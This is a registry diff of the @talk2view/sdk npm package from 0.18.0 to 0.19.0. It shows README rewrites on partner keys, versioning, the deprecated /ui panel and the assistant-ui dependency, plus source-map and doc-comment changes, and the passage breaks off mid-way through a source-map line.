@talk2view/sdk 0.18.0 → 0.19.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (85) hide show
  1. package/README.md +63 -101
  2. package/dist/assistant-ui/index.d.ts.map +1 -1
  3. package/dist/assistant-ui/index.js +4 -2
  4. package/dist/assistant-ui/index.js.map +1 -1
  5. package/dist/chat/auth-gate.d.ts +3 -1
  6. package/dist/chat/auth-gate.d.ts.map +1 -1
  7. package/dist/chat/auth-gate.js +29 -5
  8. package/dist/chat/auth-gate.js.map +1 -1
  9. package/dist/chat/composer-extras.js +2 -2
  10. package/dist/chat/lib/use-skills.d.ts.map +1 -1
  11. package/dist/chat/lib/use-skills.js +22 -10
  12. package/dist/chat/lib/use-skills.js.map +1 -1
  13. package/dist/chat/markdown.d.ts +14 -4
  14. package/dist/chat/markdown.d.ts.map +1 -1
  15. package/dist/chat/markdown.js +28 -1
  16. package/dist/chat/markdown.js.map +1 -1
  17. package/dist/chat/vendor/LICENSE +21 -0
  18. package/dist/chat/vendor/MANIFEST.json +84 -0
  19. package/dist/chat/vendor/attachment.aui.d.ts.map +1 -1
  20. package/dist/chat/vendor/attachment.aui.js +8 -0
  21. package/dist/chat/vendor/attachment.aui.js.map +1 -1
  22. package/dist/chat/vendor/file.d.ts.map +1 -1
  23. package/dist/chat/vendor/file.js +8 -0
  24. package/dist/chat/vendor/file.js.map +1 -1
  25. package/dist/chat/vendor/follow-up-suggestions.aui.d.ts.map +1 -1
  26. package/dist/chat/vendor/follow-up-suggestions.aui.js +8 -0
  27. package/dist/chat/vendor/follow-up-suggestions.aui.js.map +1 -1
  28. package/dist/chat/vendor/image.d.ts.map +1 -1
  29. package/dist/chat/vendor/image.js +8 -0
  30. package/dist/chat/vendor/image.js.map +1 -1
  31. package/dist/chat/vendor/markdown-text.d.ts.map +1 -1
  32. package/dist/chat/vendor/markdown-text.js +8 -0
  33. package/dist/chat/vendor/markdown-text.js.map +1 -1
  34. package/dist/chat/vendor/reasoning.aui.d.ts.map +1 -1
  35. package/dist/chat/vendor/reasoning.aui.js +8 -0
  36. package/dist/chat/vendor/reasoning.aui.js.map +1 -1
  37. package/dist/chat/vendor/reasoning.d.ts.map +1 -1
  38. package/dist/chat/vendor/reasoning.js +8 -0
  39. package/dist/chat/vendor/reasoning.js.map +1 -1
  40. package/dist/chat/vendor/thread-list.aui.d.ts.map +1 -1
  41. package/dist/chat/vendor/thread-list.aui.js +8 -0
  42. package/dist/chat/vendor/thread-list.aui.js.map +1 -1
  43. package/dist/chat/vendor/thread.aui.d.ts.map +1 -1
  44. package/dist/chat/vendor/thread.aui.js +8 -0
  45. package/dist/chat/vendor/thread.aui.js.map +1 -1
  46. package/dist/chat/vendor/tool-fallback.aui.d.ts.map +1 -1
  47. package/dist/chat/vendor/tool-fallback.aui.js +8 -0
  48. package/dist/chat/vendor/tool-fallback.aui.js.map +1 -1
  49. package/dist/chat/vendor/tool-group.aui.d.ts.map +1 -1
  50. package/dist/chat/vendor/tool-group.aui.js +8 -0
  51. package/dist/chat/vendor/tool-group.aui.js.map +1 -1
  52. package/dist/chat/vendor/tooltip-icon-button.d.ts.map +1 -1
  53. package/dist/chat/vendor/tooltip-icon-button.js +8 -0
  54. package/dist/chat/vendor/tooltip-icon-button.js.map +1 -1
  55. package/dist/chat/views/account.d.ts.map +1 -1
  56. package/dist/chat/views/account.js +6 -0
  57. package/dist/chat/views/account.js.map +1 -1
  58. package/dist/chat-css.js +1 -1
  59. package/dist/chat.css +1 -1
  60. package/dist/chat.isolated.css +7 -0
  61. package/dist/chat.raw.css +7 -0
  62. package/dist/client.d.ts.map +1 -1
  63. package/dist/client.js +49 -0
  64. package/dist/client.js.map +1 -1
  65. package/dist/index.d.ts +3 -0
  66. package/dist/index.d.ts.map +1 -1
  67. package/dist/index.js +11 -0
  68. package/dist/index.js.map +1 -1
  69. package/dist/streaming.d.ts.map +1 -1
  70. package/dist/streaming.js +5 -1
  71. package/dist/streaming.js.map +1 -1
  72. package/dist/tools.d.ts.map +1 -1
  73. package/dist/tools.js +13 -2
  74. package/dist/tools.js.map +1 -1
  75. package/dist/ui/components/MarkdownRenderer.d.ts +1 -1
  76. package/dist/ui/components/MarkdownRenderer.js +1 -1
  77. package/dist/ui/index.d.ts +10 -0
  78. package/dist/ui/index.d.ts.map +1 -1
  79. package/dist/ui/index.js +10 -0
  80. package/dist/ui/index.js.map +1 -1
  81. package/dist/ui/safeMarkdown.d.ts.map +1 -1
  82. package/dist/ui/safeMarkdown.js +4 -2
  83. package/dist/ui/safeMarkdown.js.map +1 -1
  84. package/docs/chat.md +532 -0
  85. package/package.json +20 -9
package/README.md CHANGED
@@ -8,6 +8,11 @@ Add AI-powered natural language control to any application. Talk2View's SDK hand
8
8
  npm install @talk2view/sdk
9
9
  ```
10
10
 
11
+ You need a partner key. Create one at
12
+ **[dashboard.talk2view.com](https://dashboard.talk2view.com)** — a `pk_test_…`
13
+ for development and a `pk_live_…` for production. Keys are public identifiers,
14
+ safe to ship in a browser bundle; see [Partner Keys](#partner-keys).
15
+
11
16
  ## Chat UI
12
17
 
13
18
  Three lines to a working chat. `@talk2view/sdk/chat` is the branded Talk2View
@@ -43,13 +48,23 @@ fonts, no CDN — and uses your page's font unless you pass `fontFamily`.
43
48
  `/chat` pays none of it.
44
49
 
45
50
  Everything else — the full prop table, theming tokens, the launcher in a hostile
46
- page, CSP, Next.js — is in **[`docs/chat.md`](docs/chat.md)**. A runnable
47
- example with no Tailwind in the host is in
48
- [`examples/react-chat`](examples/react-chat).
51
+ page, CSP, Next.js — is in
52
+ **[`docs/chat.md`](https://github.com/Talk2View/talk2view-typescript/blob/main/docs/chat.md)**, which also
53
+ ships inside the package. A runnable example with no Tailwind in the host is in
54
+ [`examples/react-chat`](https://github.com/Talk2View/talk2view-typescript/tree/main/examples/react-chat).
49
55
 
50
56
  ## Quick Start
51
57
 
52
- ### React (recommended)
58
+ ### React — the packaged chat (recommended)
59
+
60
+ The three lines at the top of this README are the whole integration. Everything
61
+ below shows the layers underneath, for apps that want their own UI.
62
+
63
+ ### React — the previous panel (`/ui`, deprecated)
64
+
65
+ > **Deprecated.** `/ui` still works and is still supported, but new
66
+ > integrations should use [`@talk2view/sdk/chat`](#chat-ui). It is kept for the
67
+ > apps already on it.
53
68
 
54
69
  ```tsx
55
70
  import { Talk2View, ChatPanel } from '@talk2view/sdk/ui';
@@ -84,10 +99,9 @@ function App() {
84
99
 
85
100
  That's it. `<Talk2View>` registers your tools and holds the chat state; `<ChatPanel>` is the UI — sign-in, streaming replies, tool calls and approvals. Both come from `@talk2view/sdk/ui`, and `<ChatPanel>` must be inside `<Talk2View>`.
86
101
 
87
- > `/ui` is the previous chat panel, and is still supported. It is far smaller
88
- > than the packaged chat (39.9 KB gzip against 361.8) and has no assistant-ui in
89
- > it. New integrations that want the current Talk2View chat should use
90
- > [`@talk2view/sdk/chat`](#chat-ui) above.
102
+ > `/ui` is smaller than the packaged chat (53.4 KB gzip against 362.7, plus
103
+ > syntax highlighting loaded on demand) and has no assistant-ui in it, which is
104
+ > why it is still here.
91
105
 
92
106
  A logged-out visitor gets an anonymous demo session automatically, so there is nothing to wire up before the first reply. Pass `allowAnonymous={false}` to `<ChatPanel>` to ask people to sign in first.
93
107
 
@@ -126,6 +140,25 @@ for await (const event of t2v.chat('What time is it?')) {
126
140
 
127
141
  ---
128
142
 
143
+ ## Versioning
144
+
145
+ This package follows semantic versioning, with one qualification that matters
146
+ while it is below 1.0: a **minor** version may change behaviour, and a
147
+ **patch** never changes the public surface. Breaking changes to exports or to
148
+ prop shapes are called out in [CHANGELOG.md](CHANGELOG.md) under the release
149
+ that makes them.
150
+
151
+ What counts as the public surface: everything exported from `@talk2view/sdk`,
152
+ `/react`, `/chat` and `/assistant-ui`, and the CSS custom properties documented
153
+ in [docs/chat.md](https://github.com/Talk2View/talk2view-typescript/blob/main/docs/chat.md). Class names
154
+ inside the chat's DOM are not — they are assistant-ui's and ours to change.
155
+ `/ui` is deprecated and frozen: it will keep working, and will not gain
156
+ anything.
157
+
158
+ `T2VClient`, `T2VSession` and `TypedEventEmitter` are exported because the
159
+ typed surface needs them, not because they are meant to be constructed
160
+ directly. Use `Talk2View`.
161
+
129
162
  ## Concepts
130
163
 
131
164
  ### Partner Keys
@@ -142,7 +175,7 @@ The SDK attaches this header automatically.
142
175
  Best practices:
143
176
  - Inject keys via environment variables at build time (e.g. `VITE_T2V_PARTNER_KEY`)
144
177
  - Use separate `pk_test_` and `pk_live_` keys for development and production
145
- - To rotate a key, generate a new key in the Talk2View dashboard, update your app, then deactivate the old key
178
+ - To rotate a key, generate a new one at [dashboard.talk2view.com](https://dashboard.talk2view.com), update your app, then deactivate the old key
146
179
 
147
180
  ### Two-Tier Authentication
148
181
 
@@ -175,7 +208,7 @@ Tools with `return_direct: true` skip the AI's post-processing step. The tool re
175
208
 
176
209
  There are four React entry points, and they do different jobs:
177
210
 
178
- - **`@talk2view/sdk/chat`** — the branded Talk2View chat, packaged: `<Talk2ViewChat>` and `<Talk2ViewChatLauncher>`, one stylesheet, nothing to configure. Start here. See [Chat UI](#chat-ui) above and [`docs/chat.md`](docs/chat.md).
211
+ - **`@talk2view/sdk/chat`** — the branded Talk2View chat, packaged: `<Talk2ViewChat>` and `<Talk2ViewChatLauncher>`, one stylesheet, nothing to configure. Start here. See [Chat UI](#chat-ui) above and [`docs/chat.md`](https://github.com/Talk2View/talk2view-typescript/blob/main/docs/chat.md).
179
212
  - **`@talk2view/sdk/ui`** — the previous chat panel, still supported: `<Talk2View>`, `<ChatPanel>`, `<ChatWidget>` and the components they are built from. 39.9 KB gzip against the packaged chat's 361.8, and no assistant-ui.
180
213
  - **`@talk2view/sdk/react`** — headless: `<T2VProvider>` and hooks, for building your own UI.
181
214
  - **`@talk2view/sdk/assistant-ui`** — a runtime for [assistant-ui](https://www.assistant-ui.com): render the stock `<Thread />` on Talk2View. See [assistant-ui](#assistant-ui) below.
@@ -337,17 +370,18 @@ const {
337
370
 
338
371
  assistant-ui already has a seam other backends plug into at the runtime level — `@assistant-ui/react-ai-sdk` for the Vercel AI SDK is the well-known example. `useTalk2ViewRuntime` is Talk2View's equivalent: it hands assistant-ui an `AssistantRuntime`, built on `useExternalStoreRuntime`, so the stock `<Thread />` (or the primitives) render Talk2View's messages, client tools, approvals and streaming — with no Talk2View-specific component in the tree.
339
372
 
340
- This is a separate entry point from `/ui` and `/react`: `@assistant-ui/react` is an optional peer dependency, loaded only when you import `@talk2view/sdk/assistant-ui`. It never affects the root, `/react` or `/ui` bundles.
373
+ This is a separate entry point from `/ui` and `/react`. `@assistant-ui/react` is a dependency of this package — installing `@talk2view/sdk` installs it, and you do not add it yourself. It is only *loaded* when you import `@talk2view/sdk/assistant-ui` or `/chat`, so the root, `/react` and `/ui` bundles are unaffected.
374
+
375
+ **Do not `npm install @assistant-ui/react` separately.** A second copy that npm cannot collapse with ours makes the chat throw `Two copies of @assistant-ui/react are loaded`.
341
376
 
342
377
  ### Install
343
378
 
344
379
  ```bash
345
- npm install @assistant-ui/react
346
380
  npx shadcn@latest init --yes --defaults
347
381
  npx shadcn@latest add @assistant-ui/thread --yes
348
382
  ```
349
383
 
350
- The `shadcn` commands generate the Thread's source into your own `src/components/` — they're your files, not a Talk2View package, so you can restyle or extend them freely. See `examples/react-assistant-ui` for a full app built this way, including the exact generated output.
384
+ The `shadcn` commands generate the Thread's source into your own `src/components/` — they're your files, not a Talk2View package, so you can restyle or extend them freely.
351
385
 
352
386
  One known wrinkle in the registry output at the time of writing: `tooltip-icon-button.tsx` passes `delayDuration={0}` to a `TooltipProvider` whose prop is `delay`. It is inert at runtime, but it fails `tsc`, so if your build type-checks (most Vite templates run `tsc -b && vite build`) change it to `delay={0}` — the example does.
353
387
 
@@ -507,7 +541,7 @@ t2v.skills.getAll(); // UserSkill[]
507
541
  t2v.skills.clear(); // Remove all
508
542
  ```
509
543
 
510
- Skills merge with partner-defined and built-in skills. User skills take highest priority. See [Skills documentation](../../docs/skills.md) for details.
544
+ Skills merge with partner-defined and built-in skills, and the end-user's win. The packaged chat has a Skills view built in (`features.skills`), so most integrations never call this API directly.
511
545
 
512
546
  #### `t2v.chat()`
513
547
 
@@ -973,95 +1007,23 @@ import type {
973
1007
  } from '@talk2view/sdk/assistant-ui';
974
1008
  ```
975
1009
 
976
- ## Publishing
977
-
978
- The SDK is published to npm via the **Publish SDK** GitHub Actions workflow (`Actions → Publish SDK → Run workflow`).
979
-
980
- ### Prerequisites
981
-
982
- - An `NPM_TOKEN` repository secret with publish access to `@talk2view/sdk` (Settings → Secrets → Actions)
983
- - The workflow uses npm provenance signing (`--provenance`), which requires the `id-token: write` permission (already configured)
984
-
985
- ### Production Release
986
-
987
- Use this when shipping a stable version to partners.
988
-
989
- 1. Go to **Actions → Publish SDK → Run workflow**
990
- 2. Set **Version bump type** to `patch`, `minor`, or `major`
991
- 3. Click **Run workflow**
992
-
993
- What happens:
994
- - Builds and typechecks the SDK
995
- - Bumps `package.json` version (e.g. `0.2.0` → `0.2.1` for patch)
996
- - Publishes to npm as `latest` tag
997
- - Commits the version bump and creates a git tag `sdk-v0.2.1`
998
- - Pushes the commit and tag to `main`
999
-
1000
- Partners running `npm install @talk2view/sdk` will get this version.
1001
-
1002
- ### Dev / Testing Release
1003
-
1004
- Use this to publish a prerelease version for testing before a stable release.
1005
-
1006
- 1. Go to **Actions → Publish SDK → Run workflow**
1007
- 2. Set **Version bump type** to `prerelease`
1008
- 3. Set **Prerelease identifier** to `dev` (default), `beta`, or `rc`
1009
- 4. Click **Run workflow**
1010
-
1011
- What happens:
1012
- - Builds and typechecks the SDK
1013
- - Bumps version with preid (e.g. `0.2.0` → `0.2.1-dev.0`, or `0.2.1-dev.0` → `0.2.1-dev.1`)
1014
- - Publishes to npm with the preid as dist-tag (e.g. `--tag dev`)
1015
- - Does **not** commit, tag, or push to git (prerelease versions are ephemeral)
1016
-
1017
- To install a dev release:
1018
- ```bash
1019
- npm install @talk2view/sdk@dev
1020
- ```
1021
-
1022
- To install a specific prerelease version:
1023
- ```bash
1024
- npm install @talk2view/sdk@0.2.1-dev.0
1025
- ```
1026
-
1027
- ### Version Lifecycle Example
1028
-
1029
- ```
1030
- 0.1.0 (current latest)
1031
- ↓ prerelease (preid=dev)
1032
- 0.1.1-dev.0 (tagged as "dev" on npm)
1033
- ↓ prerelease (preid=dev)
1034
- 0.1.1-dev.1
1035
- ↓ prerelease (preid=beta)
1036
- 0.1.1-beta.0 (tagged as "beta" on npm)
1037
- ↓ minor (production release)
1038
- 0.2.0 (tagged as "latest" on npm, git tagged sdk-v0.2.0)
1039
- ```
1040
-
1041
- ### Manual Publishing (escape hatch)
1042
-
1043
- If CI is down or you need to publish from your machine:
1044
-
1045
- ```bash
1046
- cd packages/sdk
1047
- npm run build
1048
- npm run typecheck
1049
- npm version prerelease --preid=dev --no-git-tag-version
1050
- npm publish --access public --tag dev
1051
- ```
1010
+ ## Source, issues and contributing
1052
1011
 
1053
- For a production release from local (not recommended):
1054
- ```bash
1055
- npm version patch --no-git-tag-version
1056
- npm publish --access public
1057
- git add package.json
1058
- git commit -m "Release @talk2view/sdk v$(node -p "require('./package.json').version")"
1059
- git tag "sdk-v$(node -p "require('./package.json').version")"
1060
- git push origin main --tags
1061
- ```
1012
+ The source is at
1013
+ [github.com/Talk2View/talk2view-typescript](https://github.com/Talk2View/talk2view-typescript).
1014
+ Bugs and feature requests go in
1015
+ [Issues](https://github.com/Talk2View/talk2view-typescript/issues); pull
1016
+ requests are welcome, and [CONTRIBUTING.md](CONTRIBUTING.md) says how the repo
1017
+ is laid out and what a reviewer looks for.
1062
1018
 
1063
- ---
1019
+ Security problems do **not** go in an issue — see
1020
+ [SECURITY.md](SECURITY.md).
1064
1021
 
1065
1022
  ## License
1066
1023
 
1067
- MIT License. See [LICENSE](./LICENSE) for details.
1024
+ MIT. See [LICENSE](./LICENSE).
1025
+
1026
+ `src/chat/vendor/` contains files copied from
1027
+ [assistant-ui](https://github.com/assistant-ui/assistant-ui), also MIT; their
1028
+ licence and a per-file manifest travel with them, in the repository and inside
1029
+ the published package.
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/assistant-ui/index.ts"],"names":[],"mappings":"AA+BA,OAAO,KAAK,EAEV,gBAAgB,EAIhB,8BAA8B,EAE/B,MAAM,qBAAqB,CAAC;AAC7B,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAExC,OAAO,KAAK,EAEV,UAAU,EACV,gBAAgB,EAGhB,SAAS,EACV,MAAM,aAAa,CAAC;AAErB,OAAO,EAAmC,KAAK,yBAAyB,EAAE,MAAM,gBAAgB,CAAC;AACjG,YAAY,EAAE,wBAAwB,EAAE,uBAAuB,EAAE,MAAM,gBAAgB,CAAC;AAExF,OAAO,EAAE,eAAe,EAAE,eAAe,EAAE,mBAAmB,EAAE,MAAM,cAAc,CAAC;AACrF,YAAY,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AACnD,OAAO,EAAE,+BAA+B,EAAE,uBAAuB,EAAE,MAAM,gBAAgB,CAAC;AAC1F,YAAY,EAAE,yBAAyB,EAAE,MAAM,gBAAgB,CAAC;AAEhE,gDAAgD;AAChD,MAAM,WAAW,uBAAuB;IACtC,+BAA+B;IAC/B,YAAY,CAAC,EAAE,MAAM,CAAC;IACtB;;;;OAIG;IACH,KAAK,CAAC,EAAE,CAAC,gBAAgB,GAAG,UAAU,CAAC,EAAE,CAAC;IAC1C;;;OAGG;IACH,KAAK,CAAC,EAAE,MAAM,CAAC;IACf;;;OAGG;IACH,SAAS,CAAC,EAAE,OAAO,GAAG,yBAAyB,CAAC;IAChD;;;;OAIG;IACH,WAAW,CAAC,EAAE,OAAO,CAAC;IACtB;;;;;;;;;OASG;IACH,UAAU,CAAC,EAAE,8BAA8B,CAAC;CAC7C;AAED,MAAM,WAAW,0BAA2B,SAAQ,SAAS,EAAE,uBAAuB;CAAG;AAKzF,0EAA0E;AAC1E,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,0BAA0B,GAAG,gBAAgB,CA6BzF;AAED,kGAAkG;AAClG,wBAAgB,4BAA4B,CAC1C,GAAG,EAAE,SAAS,EACd,EACE,YAAY,EACZ,KAAK,EACL,KAAK,EACL,SAAS,EACT,WAAW,EAAE,kBAAyB,EACtC,UAAU,GACX,GAAE,uBAA4B,GAC9B,gBAAgB,CAmNlB"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/assistant-ui/index.ts"],"names":[],"mappings":"AAiCA,OAAO,KAAK,EAEV,gBAAgB,EAIhB,8BAA8B,EAE/B,MAAM,qBAAqB,CAAC;AAC7B,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAExC,OAAO,KAAK,EAEV,UAAU,EACV,gBAAgB,EAGhB,SAAS,EACV,MAAM,aAAa,CAAC;AAErB,OAAO,EAAmC,KAAK,yBAAyB,EAAE,MAAM,gBAAgB,CAAC;AACjG,YAAY,EAAE,wBAAwB,EAAE,uBAAuB,EAAE,MAAM,gBAAgB,CAAC;AAExF,OAAO,EAAE,eAAe,EAAE,eAAe,EAAE,mBAAmB,EAAE,MAAM,cAAc,CAAC;AACrF,YAAY,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AACnD,OAAO,EAAE,+BAA+B,EAAE,uBAAuB,EAAE,MAAM,gBAAgB,CAAC;AAC1F,YAAY,EAAE,yBAAyB,EAAE,MAAM,gBAAgB,CAAC;AAEhE,gDAAgD;AAChD,MAAM,WAAW,uBAAuB;IACtC,+BAA+B;IAC/B,YAAY,CAAC,EAAE,MAAM,CAAC;IACtB;;;;OAIG;IACH,KAAK,CAAC,EAAE,CAAC,gBAAgB,GAAG,UAAU,CAAC,EAAE,CAAC;IAC1C;;;OAGG;IACH,KAAK,CAAC,EAAE,MAAM,CAAC;IACf;;;OAGG;IACH,SAAS,CAAC,EAAE,OAAO,GAAG,yBAAyB,CAAC;IAChD;;;;OAIG;IACH,WAAW,CAAC,EAAE,OAAO,CAAC;IACtB;;;;;;;;;OASG;IACH,UAAU,CAAC,EAAE,8BAA8B,CAAC;CAC7C;AAED,MAAM,WAAW,0BAA2B,SAAQ,SAAS,EAAE,uBAAuB;CAAG;AAKzF,0EAA0E;AAC1E,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,0BAA0B,GAAG,gBAAgB,CA6BzF;AAED,kGAAkG;AAClG,wBAAgB,4BAA4B,CAC1C,GAAG,EAAE,SAAS,EACd,EACE,YAAY,EACZ,KAAK,EACL,KAAK,EACL,SAAS,EACT,WAAW,EAAE,kBAAyB,EACtC,UAAU,GACX,GAAE,uBAA4B,GAC9B,gBAAgB,CAmNlB"}
@@ -22,8 +22,10 @@
22
22
  * }
23
23
  * ```
24
24
  *
25
- * `@assistant-ui/react` is an optional peer dependency: it is only loaded by
26
- * this entry point, never by `@talk2view/sdk`, `/react` or `/ui`.
25
+ * `@assistant-ui/react` is a dependency of this package, so installing the SDK
26
+ * installs it — never add it yourself, or the chat throws on two copies. It is
27
+ * only LOADED by this entry point and `/chat`, never by `@talk2view/sdk`,
28
+ * `/react` or `/ui`.
27
29
  *
28
30
  * @packageDocumentation
29
31
  */
@@ -1 +1 @@
1
- {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/assistant-ui/index.ts"],"names":[],"mappings":"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